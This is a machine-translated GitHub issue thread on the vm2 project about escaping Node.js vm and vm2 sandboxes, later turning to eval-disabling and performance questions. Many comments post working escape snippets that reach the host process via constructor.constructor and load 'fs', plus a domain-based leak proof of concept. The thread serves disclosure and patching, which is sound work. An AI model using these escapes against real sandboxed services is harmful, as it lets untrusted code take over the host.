Vm2: Flucht aus der VM-Sandbox

Erstellt am 16. Juni 2016  ·  64Kommentare  ·  Quelle: patriksimek/vm2

Es ist möglich, der VM zu entkommen und sehr unerwünschte Aktionen auszuführen.

Gefunden über den folgenden Kern in Bezug auf die native VM des Knotens: https://gist.github.com/domenic/d15dfd8f06ae5d1109b0

Nehmen Sie die folgenden 2 Codebeispiele:

const VM = require('vm2').VM;

const options = {
    sandbox: {}
};

const vm = new VM(options);

vm.run(`
    const ForeignFunction = global.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`);

und :

const NodeVM = require('vm2').NodeVM;

const options = {
    console: 'off',
    sandbox: {},
    require: false,
    requireExternal: false,
    requireNative: [],
    requireRoot : "./"
};

const vm = new NodeVM(options);
vm.run(`
    const ForeignFunction = global.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`);

Führen Sie eine dieser Ausgaben wie folgt aus:

{ dev: 16777220,
  mode: 16877,
  nlink: 14,
  uid: 502,
  gid: 20,
  rdev: 0,
  blksize: 4096,
  ino: 14441430,
  size: 476,
  blocks: 0,
  atime: 2016-06-15T22:20:05.000Z,
  mtime: 2016-06-15T22:19:59.000Z,
  ctime: 2016-06-15T22:19:59.000Z,
  birthtime: 2016-06-09T01:02:12.000Z }

Ich habe dieses Verhalten sowohl für v4.4.5 als auch für v6.2.1 validiert

discussion

Hilfreichster Kommentar

Argh! Sie fangen an! ;) Ich muss mich entschuldigen, dass ich dich so weitergeführt habe. Für jedes Publikum da draußen; Das Problem mit dem VM-Bereich in node.js liegt bei Verweisen auf Objekte im Hostbereich (von dem Sie über die Prototypkette einen Verweis auf den gesamten Hostbereich erhalten können).

Nachdem Sie nun die Eigenschaft constructor überschrieben haben, muss ich darunter gehen:

function getParent(o) {
    return o.__proto__.constructor.constructor('return this')();
}

Alle 64 Kommentare

Danke für den Bericht, ich arbeite hart an einer neuen Version von vm2 und konnte dieses Leck beheben, indem ich Kontext innerhalb des erstellten Kontexts erstellt habe. Ich bin mir nicht sicher, ob es einen anderen Weg gibt, um der Sandbox zu entkommen, habe noch keinen gefunden.

const context = vm.createContext(vm.runInNewContext("({})"));

const whatIsThis = vm.runInContext(`
    const ForeignFunction = this.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`, context);

Ich habe versucht, hochzuklettern, aber es scheint nicht möglich zu sein, da dies true :

this.constructor.constructor('return Function(\\'return Function\\')')()() === this.constructor.constructor('return Function')()

Ich habe mit dem oben genannten Ansatz gespielt.

Das erste Ziel war es, zu versuchen, Ihren Kommentar anzupassen, damit ich Dinge in die Sandbox übergeben kann, die für meinen Anwendungsfall erforderlich ist. Bitte korrigiert mich, wenn dies der falsche Weg ist, aber es scheint der einzige Weg zu sein:

const vm = require('vm');

const log = console.log;

const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
    'log': log
});

const userScript = new vm.Script(`
    (function() {
        log('Hello World Inside');
        return 'Hello World Outside';
    })
`);

const whatIsThis = userScript.runInContext(context)();

console.log(whatIsThis);

Ausgänge:

Hello World Inside
Hello World Outside

Als nächstes habe ich erneut versucht, der VM zu entkommen und war erfolgreich:

const vm = require('vm');

const log = console.log;

const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
    'log': log
});

const userScript = new vm.Script(`
    (function() {

        const ForeignFunction = log.constructor.constructor;
        const process1 = ForeignFunction("return process")();
        const require1 = process1.mainModule.require;
        const console1 = require1("console");
        const fs1 = require1("fs");
        console1.log(fs1.statSync('.'));

        log('Hello World Inside');
        return 'Hello World Outside';
    })
`);

const whatIsThis = userScript.runInContext(context)();

console.log(whatIsThis);

Welche Ausgänge:

{ dev: 16777220,
  mode: 16877,
  nlink: 16,
  uid: 502,
  gid: 20,
  rdev: 0,
  blksize: 4096,
  ino: 14441430,
  size: 544,
  blocks: 0,
  atime: Wed Jun 15 2016 17:04:25 GMT-0700 (PDT),
  mtime: Wed Jun 15 2016 17:04:18 GMT-0700 (PDT),
  ctime: Wed Jun 15 2016 17:04:18 GMT-0700 (PDT),
  birthtime: Wed Jun 08 2016 18:02:12 GMT-0700 (PDT) }
Hello World Inside
Hello World Outside

Es scheint, als ob es keine Möglichkeit gibt, Dinge sicher in die Sandbox zu injizieren, ohne dass diese Dinge verwendet werden, um wieder aus der Sandbox zu klettern.

Es gibt einen Weg - Objekte müssen in den Kontext der VM kontextifiziert werden. Es gibt zwei Möglichkeiten, dies zu tun. Sie können diese Objekte entweder tief klonen oder Proxys verwenden. Ich verwende Proxies in der neuen vm2.

https://github.com/patriksimek/vm2/tree/v3

Ich habe die bevorstehende Veröffentlichung auf GH verschoben. Es ist noch in Arbeit, aber es sollte funktionieren.

v3 ist auch kaputt:

'use strict';

const {VM} = require('vm2');

const vm = new VM({
    'sandbox' : {
        'log' : console.log,
    },
});

vm.run(`
    try {
        log.__proto__ = null;
    }
    catch (e) {
        const foreignFunction = e.constructor.constructor;
        const process = foreignFunction("return process")();
        const require = process.mainModule.require;
        const fs = require("fs");
        log(fs.statSync('.'));
    }
`);

Es ist irgendwie sinnlos, dieses Whack-a-Mole-Spiel zu spielen.

@parasyte danke, es wurde durch einen Tippfehler in meinem Code verursacht. Es ist jetzt behoben.

Vergessen Sie nicht, Ausnahmen abzufangen.

'use strict';

const {VM} = require('vm2');

const vm = new VM({
    'sandbox' : {
        boom() {
            throw new Error();
        },
    },
});

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction("return process")();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    try {
        boom();
    }
    catch (e) {
        exploit(e);
    }
`);

@parasyte danke, behoben. Ich schätze Ihre Beiträge sehr.

+1

@patriksimek nett!

Ich habe auch Zugriff auf bestimmte Objekte im globalen Bereich, die ich nutzen kann, um aus der kontextbezogenen Sandbox auszubrechen. Dieser erfordert nicht einmal die Übergabe von Objekten an die VM.

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    Reflect.construct = exploit;
    new Buffer([0]);
`);

@parasyte meine Güte! Es muss noch eine Fülle von Vektoren zu entdecken geben.

@keyosk Ja, wahrscheinlich...

Übrigens @patriksimek der ES6 ist viel besser als Coffeescript! 👍

@parasyte Nochmals vielen Dank, es wurde zusammen mit einigen weiteren Hintertüren behoben, die ich gefunden habe.
@keyosk Ich glaube, dass wir sie alle finden werden.

Was ist mit diesem?

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    Object.assign = function (o) {
        return {
            'get' : function (t, k) {
                try {
                    t = o.get(t, k);
                    exploit(t);
                }
                catch (e) {}

                return t;
            },
        };
    };
    new Buffer([0]);
`);

@parasyte schöner Fang, das behoben. Vielen Dank.

Sie haben in einem kürzlich erschienenen Patch eine ganz neue Dose Würmer geöffnet.

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    try {
        new Buffer();
    }
    catch (e) {
        exploit(e);
    }
`);

Verdammt, ich habe zu spät gearbeitet und den Fokus verloren. Hat einige Sicherheitshinweise geschrieben , hauptsächlich für mich. :)

Danke, behoben.

Nun, ich habe mir NodeVM noch nicht einmal angesehen! Hier gibt es viel mehr Oberfläche zum Schrubben...

Sofort bemerkte ich eine Flucht über arguments.callee :

'use strict';

const {NodeVM} = require('vm2');

const vm = new NodeVM();

vm.run(`
    function getParent(o) {
        return o.constructor.constructor('return this')();
    }

    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log('\u{1F60E} ', fs.statSync('.'), '\u{1F60E}');

        return o;
    }

    (function () {
        exploit(getParent(getParent(arguments.callee.caller)));
    })();
`);

Nun, dies weist uns auf das Ausgangsproblem hier hin – Kontext, der in einem neuen Kontext erstellt wird, reicht offensichtlich nicht aus. Kurzversion:

vm.run(`
    global.constructor.constructor('return this')().constructor.constructor('return process')()
`);

Habe noch keine Lösung gefunden. Vielleicht den Host mit delete process.mainModule patchen, aber ich bin mir sicher, dass es einen anderen Weg gibt, um auf require aufzusteigen.

Lösung gefunden :-)

Argh! Sie fangen an! ;) Ich muss mich entschuldigen, dass ich dich so weitergeführt habe. Für jedes Publikum da draußen; Das Problem mit dem VM-Bereich in node.js liegt bei Verweisen auf Objekte im Hostbereich (von dem Sie über die Prototypkette einen Verweis auf den gesamten Hostbereich erhalten können).

Nachdem Sie nun die Eigenschaft constructor überschrieben haben, muss ich darunter gehen:

function getParent(o) {
    return o.__proto__.constructor.constructor('return this')();
}

Habe hier recherchiert und festgestellt, dass global.__proto__ === host.Object.prototype . Durch die Anwendung von Object.setPrototypeOf(global, Object.prototype) ich den Kreis schließen.

Danke noch einmal.

@parasyte @patriksimek ist das in der neuesten von npm veröffentlichten Version geschlossen?

Ja, wir können das vorerst schließen.

FWIW, wir haben dies einfach gelöst, indem wir eval ... deaktiviert haben und sehr vorsichtig waren, keine Referenzen in der Sandbox freizugeben.

#include <nan.h>

using v8::Local;
using v8::Context;

NAN_METHOD(enableEval) {
  Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
  ctx->AllowCodeGenerationFromStrings(true);

  info.GetReturnValue().SetUndefined();
}

NAN_METHOD(disableEval) {
  Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
  ctx->AllowCodeGenerationFromStrings(false);

  info.GetReturnValue().SetUndefined();
}

void Init(v8::Local<v8::Object> exports) {
  exports->Set(Nan::New("enableEval").ToLocalChecked(),
               Nan::New<v8::FunctionTemplate>(enableEval)->GetFunction());

  exports->Set(Nan::New("disableEval").ToLocalChecked(),
               Nan::New<v8::FunctionTemplate>(disableEval)->GetFunction());
}

NODE_MODULE(vm8, Init)

Dies verhindert das Escape, da der String return process nicht ausgewertet werden kann. Folglich werden auch legitime eval() und Function Generator Constructor-Aufrufe deaktiviert. (Der Nutzen dieser Funktionen ist eher fraglich.)

@parasyte nur zur Verdeutlichung haben Sie das an anderer Stelle implementiert? Oder etwas zu vm2 beigetragen?

@keyscores dies wurde an anderer Stelle implementiert.

Ja, woanders. Wir haben ein ähnliches Sandbox-Projekt, das derzeit auf die Freigabe zur Veröffentlichung von Open Source wartet. Entschuldigung für die Verwirrung. Ich habe kommentiert, wie das Hauptproblem in diesem Projekt gelöst wurde.

@parasyte Aktualisieren Sie Ihre Version? Wäre daran interessiert, die Implementierung zu vergleichen. Ich denke, jeder gewinnt.

@keyscores Entschuldigung, noch nichts zu melden. Die Open-Source-Bemühungen wurden aufgrund einiger schlechter Planungen in der Organisation vernachlässigt. :\

Ich weiß, dass dies ein totes Problem ist, aber gibt es bekannte Umgehungen für die vm Bibliothek von Node, wenn Code wie folgt ausgeführt wird:

javascript vm.runInNewContext("arbitrary user input here", Object.create(null))

@parasyte : Nur aus Neugier, warum deaktivieren Sie eval nicht einfach, indem Sie global.eval = null; in den Anfang des externen Codes einfügen, bevor Sie es ausführen?

@Eric24 Gute Frage! Diese Präsentation erklärt ausführlich warum: https://vimeo.com/191757364 und hier ist das Foliendeck: https://goo.gl/KxiG73

Der wichtigste Punkt ist, dass es viele Möglichkeiten gibt, eval() von JavaScript aus aufzurufen, und das Ersetzen von global.eval ist nur eine davon. Wenn Sie die gesamte Liste durchgearbeitet haben, werden Sie feststellen, dass es unmöglich ist, Bewertungen von GeneratorFunction zu patchen. Und dies beinhaltet nicht unzählige andere Möglichkeiten, wie eval() durch zukünftige ES-Änderungen aufgedeckt werden könnte.

Die einzige praktikable Lösung besteht also darin, Auswertungen in V8 mit C++ zu deaktivieren.

@parasyte : Macht

@Eric24 es wird eval in dem Kontext deaktivieren, in dem disableEval aufgerufen wird. Sie sollten dies in den Anfang des bereitgestellten Userland-Codes einfügen, der in der VM ausgeführt werden soll. Darüber hinaus können Sie dies auch in Ihrem Host ausführen und in diesem Kontext ebenfalls deaktivieren.

@parasyte :

@Anorov Dies wurde erst vor wenigen Tagen gemeldet: https://github.com/nodejs/node/issues/15673 Es ermöglicht das Entkommen von VM auch mit einem Null-Prototyp in der Sandbox. Es ist nur ein Problem, wenn Domänen aktiviert sind (dies ist nicht die Standardeinstellung, aber achten Sie auf die Verwendung von domain in Ihrer gesamten Abhängigkeitshierarchie).

Hier ist ein handlicher Dandy-Proof of Concept. Getestet auf Knoten v8.6.0:

// 'use strict';

const domain = require('domain');
const vm = require('vm');

const untrusted = `
const domain = Promise.resolve().domain;
const process = domain.constructor.constructor('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.readdirSync('/'))
`;

domain.create().enter(); // Entering a domain leaks the private context into VM

vm.runInNewContext(untrusted, Object.create(null));

Achten Sie auf solche Lecks. Die einzige Möglichkeit, sich vor dieser Klasse von Schwachstellen zu schützen, besteht darin, eval zu deaktivieren. Und seien Sie sich bewusst, dass es andere Probleme mit vm außerhalb des Bewertungsbereichs liegen.

@parasyte Danke. Ich führe diesen Code mit Node von Python aus: https://github.com/Anorov/cloudflare-scrape/blob/master/cfscrape/__init__.py#L111

Es werden keine anderen Bibliotheken ( domain oder andere) importiert oder verwendet. Sehen Sie potenzielle Probleme mit diesem Code? Ich möchte nach Möglichkeit vermeiden, dass Javascript-Abhängigkeiten (wie vm2) erforderlich sind.

@Anorov Ah ich

Richtig. Denkbar wäre auch, dass jemand die Seite nachahmen könnte, die ich so erwarte
dass mein Skript denkt, es sei Cloudflare, obwohl dies nicht der Fall ist. ich überlege auch
Überprüfen, ob die IP-Adresse des Servers im Besitz von Cloudflare ist, als
zusätzliche Vorsichtsmaßnahme.

Aber unabhängig davon, nehmen wir einfach an, dass dieser Code auf einem beliebigen beliebigen gelaufen ist
Benutzereingaben und nicht nur die von Cloudflare. Ist der Sandboxing-Mechanismus sicher, um
das beste Wissen der Node-Community?

Am 2. Oktober 2017 um 22:10 Uhr schrieb "Jay Oster" [email protected] :

@Anorov https://github.com/anorov Ah ich verstehe . Machst du dir Sorgen, dass
CloudFlare (oder ein MITM) wird versuchen, Code bereitzustellen, der ausbrechen könnte
Der Sandkasten? Es müsste ein gezielter Angriff sein, aber ich würde es nicht ausschließen
ganz aus.


Sie erhalten dies, weil Sie erwähnt wurden.
Antworten Sie direkt auf diese E-Mail und zeigen Sie sie auf GitHub an
https://github.com/patriksimek/vm2/issues/32#issuecomment-333718695 oder stumm
der Faden
https://github.com/notifications/unsubscribe-auth/AA5FI1K1_aDCq6-RPOkCc1ak7gs9KFlvks5soZeZgaJpZM4I22m8
.

@Anorov :

Ist der Sandboxing-Mechanismus nach bestem Wissen der Node-Community sicher?

Absolut nicht. Die offizielle Dokumentation macht diesen sehr starken Hinweis:

Hinweis: Das vm-Modul ist kein Sicherheitsmechanismus. Verwenden Sie es nicht, um nicht vertrauenswürdigen Code auszuführen.

Ich bin mir dieser Warnung bewusst, aber ich frage nach der Praktikabilität.

Am 3. Oktober 2017 um 16:34 Uhr schrieb "Cody Massin" [email protected] :

@Anorov https://github.com/anorov :

Ist der Sandboxing-Mechanismus sicher, zum Besten der Node-Community?
Wissen?

Absolut nicht. Die offizielle Dokumentation
https://nodejs.org/api/vm.html#vm_vm_executing_javascript macht das
sehr starker Hinweis:

Hinweis: Das vm-Modul ist kein Sicherheitsmechanismus. Verwenden Sie es nicht zum Laufen
nicht vertrauenswürdiger Code.


Sie erhalten dies, weil Sie erwähnt wurden.
Antworten Sie direkt auf diese E-Mail und zeigen Sie sie auf GitHub an
https://github.com/patriksimek/vm2/issues/32#issuecomment-333969953 oder stumm
der Faden
https://github.com/notifications/unsubscribe-auth/AA5FIwNwNErztUZB-adB4KrC5WoBYs4Nks5sopplgaJpZM4I22m8
.

In der Praxis ist der Sandboxing-Mechanismus für nicht vertrauenswürdigen Code unsicher. Aus diesem Grund hat @patriksimek versucht, mit der Bibliothek vm2 einen sicheren Sandboxing-Mechanismus zu erstellen. Aus diesem Grund hat

@Anorov Kurz gesagt, verlassen Sie sich nicht nur auf vm . Aber es ist ein nützliches Werkzeug als einzelne Zwiebelschicht.

Ich habe mit der VM und dem vorgeschlagenen C++-Code herumgespielt , um eval von

const userfunc = new Function('context',
  '"use strict"; disableEval(); return ' + '(() => {...userland code here... return ...})();');

Dies funktioniert auch und ist viel schneller (in einigen Testfällen über 1000-mal schneller). Zusätzlich zum Deaktivieren von eval verhindere ich auch, dass der Userland-Code einen Verweis auf 'global' enthält (ohne diesen Test kann die Funktion den globalen Gültigkeitsbereich mit global.whatever ändern). Dies scheint eine effektive und sichere Sandbox zu sein. Was vermisse ich?

Verhindert Ihre Strategie, dass Leute Namespaces wie fs importieren und Ihre Server drastisch ändern? Ich bin auch neugierig auf die Deaktivierung von eval, warum die ganze Sorge um eval und nicht die Sorge um Code außerhalb von eval?

@wysisoft : Gute Frage. Ja, "erforderlich" wird nicht angezeigt. Jedes Skript definiert als Teil seiner Metadaten eine Liste von "erlaubten und verifizierten" Modulen, die es benötigt, die der Funktion einzeln ausgesetzt werden, bevor sie ausgeführt wird. Zu Ihrem Punkt würde 'fs' nicht auf dieser genehmigten Liste stehen (aber für Skripte, die eine temporäre Speicherung benötigen, wird eine Reihe von eingeschränkten Lese-/Schreibfunktionen bereitgestellt).

Das Deaktivieren von 'eval' ist der Schlüssel zum Stoppen einer Reihe von Exploits (siehe den Kommentar von @parasyte am 18.NOV16). Das Zulassen von 'eval' ermöglicht den Zugriff auf den globalen Geltungsbereich auf eine Weise, die sonst nicht verhindert werden kann. Weitere Details im Kommentar von @parasyte am 1OCT17).

@Eric24 Ich verstehe nicht, was an vm "langsam" ist. Es ist genau dieselbe v8-Laufzeit, die nodeJS antreibt. Sind Sie sicher, dass Sie nicht etwas Dummes tun, wie die Sandbox jedes Mal neu zu erstellen, wenn Sie den Code ausführen? Es gibt etwas Overhead, aber nicht 1000x mehr Overhead.

@wysisoft eval() ist eine leicht erreichbare Methode, um der Sandbox zu entkommen. Durch das Deaktivieren wird die Fluchtluke durch das Auswerten von Code im privaten Kontext dauerhaft geschlossen. Aber ich wiederhole es noch einmal, dies ist nicht der einzige Angriffsvektor und Sie sollten bei allem vorsichtig sein.

@parasyte - Ich habe einen sehr einfachen Test, der eine Function() und eine VM mit so nah wie möglich dem gleichen Code für jeden erstellt, beide 1000 Mal ausgeführt wird und die erforderliche Gesamtzeit meldet. Code unten:

"use strict";

const util = require('util');
const vm = require('vm');
const uuid = require("uuid/v4");

console.log('TEST=' + global.test);
let response = {result: 0, body: null};

// create the Function()
let hrstart = process.hrtime();
const xform = new Function('y', 'response', 'uuid',
  '"use strict"; return ' + '(() => {global.test = "FUNC"; let z = y * 2; response.result = 99; response.body = "TEST"; function doubleZ(n) {return n * 2}; return {x: 123,  y: y, z: doubleZ(z), u:uuid()};})();'
);
let hrend = process.hrtime(hrstart);
console.log('new Function: ', hrend[0], hrend[1]/1000000, '\n');

// create/compile the Script()
hrstart = process.hrtime();
const script = new vm.Script(
  '"use strict"; ((global) => {' + 'global.test = "VM"; let z = y * 2; response.result = 99; response.body = "TEST"; function doubleZ(n) {return n * 2}; return {x: 123,  y: y, z: doubleZ(z), u:uuid()};' + '})(this);'
);
hrend = process.hrtime(hrstart);
console.log('new vm.Script: ', hrend[0], hrend[1]/1000000);

// create the VM context
hrstart = process.hrtime();
let ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
let context = new vm.createContext(ctx);
hrend = process.hrtime(hrstart);
console.log('new vm.createContext: ', hrend[0], hrend[1]/1000000, '\n');

// test 1000 iterations of Function()
let out = {};
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  out = xform(456, response, uuid);
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('Function (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(response) + '\n');

// test 1000 iterations of VM (with optional new context on each)
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  //ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};  // << THIS IS THE PROBLEM!
  //context = new vm.createContext(ctx);
  out = script.runInContext(context, {timeout: 100});
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('vm (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(ctx) + '\n');

Wie Sie im Test sehen können, erstelle ich das Skript und den Kontext einmal und führe es dann 1000 Mal aus. Im echten Zielanwendungsfall muss ich jedoch den Kontext jedes Mal neu erstellen (möglicherweise in der Lage sein, das kompilierte Skript zwischenzuspeichern), da jede Ausführung einzigartig ist und mit einem neuen Kontext beginnen muss). Ohne den Kontext jedes Mal neu zu erstellen, beträgt der Unterschied zwischen Function() und der VM 6 bis 14 Mal.

Aber nachdem ich genauer hingesehen habe, habe ich eine Variation des Codes ausprobiert (jedes Mal den Kontext innerhalb der Schleife erstellen), die dem tatsächlichen Anwendungsfall näher kommt. Ich hatte die einmalige Erstellung des Kontexts ursprünglich auf knapp unter 1 ms festgelegt, also habe ich dies pro Iteration einbezogen. Aber das Ausführen des eigentlichen Codes zeigte den wahren Schuldigen – während die VM immer noch langsamer ist, besteht das Problem nicht darin, den Kontext zu erstellen, sondern das 'ctx'-Objekt zu erstellen. Das ist eine ziemliche Überraschung.

Aber jedes Mal muss ein neues Objekt für den VM-Kontext erstellt werden (obwohl einige Variationen davon auch für Function() benötigt werden, so dass der Unterschied zwischen den beiden wieder 6 bis 14 Mal beträgt (was immer noch signifikant ist). .

Hmmm. Ich habe gerade einen anderen Test versucht:

let out = {};
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
  out = xform(456, response, uuid);
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('Function (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(response) + '\n');


hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
  // let context = new vm.createContext(ctx);
  out = script.runInContext(context, {timeout: 100});
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('vm (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(ctx) + '\n');

Hier wird das 'ctx'-Objekt in beiden Tests jedes Mal neu erstellt, aber der Kontext wird nur einmal erstellt. Der Zeitunterschied liegt wieder im Bereich von 6 bis 14. Aber wenn ich die Zeile, die den Kontext jedes Mal neu erstellt, auskommentiere, wären das bis zu 144-mal langsamer!

@Eric24 Du tust, was ich in meinem vorherigen Beitrag gesagt habe. 😕 script.runInContext() ist das Problem. Dies ist im Grunde dasselbe wie das Aufrufen von eval() (mit einem anderen v8-Kontext).

Die Lösung zum Beheben Ihres Leistungsproblems besteht darin, runInContext einmal aufzurufen, um den Code zu kompilieren, und mit dem kompilierten Code über die zurückgegebene Referenz oder die Referenzen, die Sie als Eingabeargumente bereitstellen, zu interagieren. Zum Beispiel die Übergabe einiger new Event() Objekte für die bidirektionale Kommunikation mit der Sandbox. Dies ist, was unser [immer noch interner Sandkasten, wurde aus politischen Gründen nicht als Open-Source] vm Wrapper tut, und der Overhead ist völlig vernachlässigbar.

@parasyte : Hmmm. Aber kompiliert new vm.Script() den Code nicht? Auf jeden Fall denke ich, dass ich, um das zu tun, was Sie sagen, den Verweis auf runInContext zwischenspeichern sollte, sodass ich nur beim ersten Aufruf eines Skripts unter dem Overhead leide. Auf jeden Fall eine Überlegung wert.

Nö. runInContext kompiliert den Code. Denk darüber nach. v8 ist ein Just-In-Time- Compiler. Es muss den Code ausführen, um ihn zu kompilieren.

@parasyte : OK, aber aus den node.js-Dokumenten:
_Instanzen der vm.Script-Klasse enthalten vorkompilierte Skripte, die in bestimmten Sandboxen (oder "Kontexten") ausgeführt werden können._

@Eric24 Die Dokumentation ist etwas verwirrend. Das zugehörige Code-Snippet wird im gleichen Sinne "kompiliert", wie ein Interpreter JavaScript in Byte-Code kompiliert. Das JS kann über einen Interpreter ausgeführt werden, nachdem das Script Objekt instanziiert wurde, aber der Großteil des Leistungsgewinns von v8 kommt von der Kompilierung dieser interpretierten Zwischendarstellung in nativen Maschinencode. Der letzte Schritt beginnt erst runInContext aufgerufen wird.

In Wirklichkeit ist der Lebenszyklus des JIT-Compilers komplexer, da der Code erst warmlaufen muss, bevor der JIT ihn überhaupt für die Optimierung in Betracht zieht. Wenn Sie sich für die Details interessieren, gibt es im Internet jede Menge Lesestoff .

Aber um Ihnen einige harte Daten zur Verfügung zu stellen, hier ist der relevante Quellcode für runInContext : https://github.com/nodejs/node/blob/v8.7.0/lib/vm.js#L54 -L61

Die realRunInContext Referenz stammt aus dem C++-Modul contextify . Welche Sie hier finden: https://github.com/nodejs/node/blob/v8.7.0/src/node_contextify.cc#L660 -L719

Der wichtigste Teil dieses C++-Codes ist wohl der Aufruf von EvalMachine , der den kompilierten Code an den aktuellen Kontext bindet und script->Run() aufruft, um den JIT-Compiler zu starten. Was natürlich anfängt, nach zu optimierendem Code zu suchen.

Ich hoffe, das hilft!

@parasyte : Ja, das ist hilfreich. Vielen Dank!

Wir kämpfen mit einer Implementierung, die die vm2-Sandbox verwendet. Können wir asynchronen Code in der vm2-Sandbox aufrufen? Der Grund dafür ist, dass wir eine Verbindung zu einer Datenquelle wie Mysql aus der Sandbox von VM2 herstellen müssen?

Ja, Sie können in der Sandbox asynchron warten. Welche Probleme haben Sie?
Denken Sie daran, wenn Sie nicht vertrauenswürdigen Code ausführen, möchten Sie dies wahrscheinlich nicht
Geben Sie vollen SQL-Zugriff auf die Sandbox. Stattdessen möchten Sie wahrscheinlich a . hinzufügen
getdata()-Methode in die Sandbox, die Code außerhalb der Sandbox ausführt, wo
die eigentliche SQL-Verbindung erfolgt.

Am Di, 24.10.2017 um 6:49 Uhr Rajagopal Somasundaram <
[email protected]> schrieb:

Wir kämpfen mit einer Implementierung, die die vm2-Sandbox verwendet. Können wir anrufen?
asynchroner Code in der VM2-Sandbox? Der Grund dafür ist, dass wir eine Verbindung zu a herstellen müssen
Datenquelle wie Mysql aus der Sandbox von vm2?


Sie erhalten dies, weil Sie erwähnt wurden.
Antworten Sie direkt auf diese E-Mail und zeigen Sie sie auf GitHub an
https://github.com/patriksimek/vm2/issues/32#issuecomment-338978717 oder stumm
der Faden
https://github.com/notifications/unsubscribe-auth/AOeY7Kir6Mm_k_P2ZhR3tdQzZQPknTNZks5svdz0gaJpZM4I22m8
.

@wysisoft Danke für die Antwort, Wir haben das Problem separat mit den Details https://github.com/patriksimek/vm2/issues/102 angesprochen

@Eric24 kann man die Alternative "neue Funktion ()" teilen? Sieht sauberer aus als die VM

@platinumindustries : Letztendlich empfehle ich die Alternative "new Function()" eigentlich nicht. Am Ende blieben wir beim VM-Ansatz und konzentrierten uns stattdessen auf die Optimierung dieses Codes. Was wir jetzt haben, funktioniert sehr gut. Ich kann mich ehrlich gesagt nicht genau erinnern, was uns in diese Richtung getrieben hat, aber ich weiß, dass es einige kleine Dinge gab, die den Ansatz "neue Funktion ()" letztendlich von der Liste gestrichen haben.

@Eric24 Also gut. Außerdem haben sie in der neuen Version von NodeJS 10.9* eine Option zum Deaktivieren von eval() in der VM. Ist das genug oder muss ich es noch von C . deaktivieren?

Tut mir wirklich leid, dass ich in einen alten Thread gesprungen bin.

Im echten Zielanwendungsfall muss ich jedoch den Kontext jedes Mal neu erstellen (möglicherweise in der Lage sein, das kompilierte Skript zwischenzuspeichern), da jede Ausführung einzigartig ist und mit einem neuen Kontext beginnen muss).

@Eric24 Ich vm2 in einer Serveranwendung ausführen kann. Ich glaube, mein Anwendungsfall ähnelt dem, den Sie erwähnt haben, da ich mir ansehe, wie ich Parameter/Argumente aus einer eingehenden Anfrage an den Code übergeben kann, der in der VM ausgeführt wird.

Im Moment ist die einzige Möglichkeit, dies zu tun, jedes Mal einen neuen Kontext zu erstellen, aber das ist wirklich langsam. Ich versuche herauszufinden, ob ich ein Kontextobjekt wiederverwenden kann, aber einen anderen Mechanismus verwenden kann, um dem Code, der in der VM ausgeführt wird, Daten bereitzustellen. @parasyte erwähnte etwas über bidirektionale Kommunikation mit Event() Objekten, aber es war mir nicht ganz klar.

Ich habe mich gefragt, ob Sie auf ein ähnliches Problem gestoßen sind und wenn ja, könnten Sie ein paar Tipps zur Lösung mitteilen? Vielen Dank für Ihre Zeit.

@darahayes : Eigentlich erstelle ich für jeden Lauf einen neuen Kontext, aber ich finde das überhaupt nicht langsam. Welche Leistung sehen Sie im Vergleich zu dem, was Sie erwarten? Und wie messen Sie die Leistung?

Ich starte einen neuen nodejs-Prozess für jeden Lauf, und es ist nicht so schlimm, weniger als 100 ms Verzögerung.

War diese Seite hilfreich?
0 / 5 - 0 Bewertungen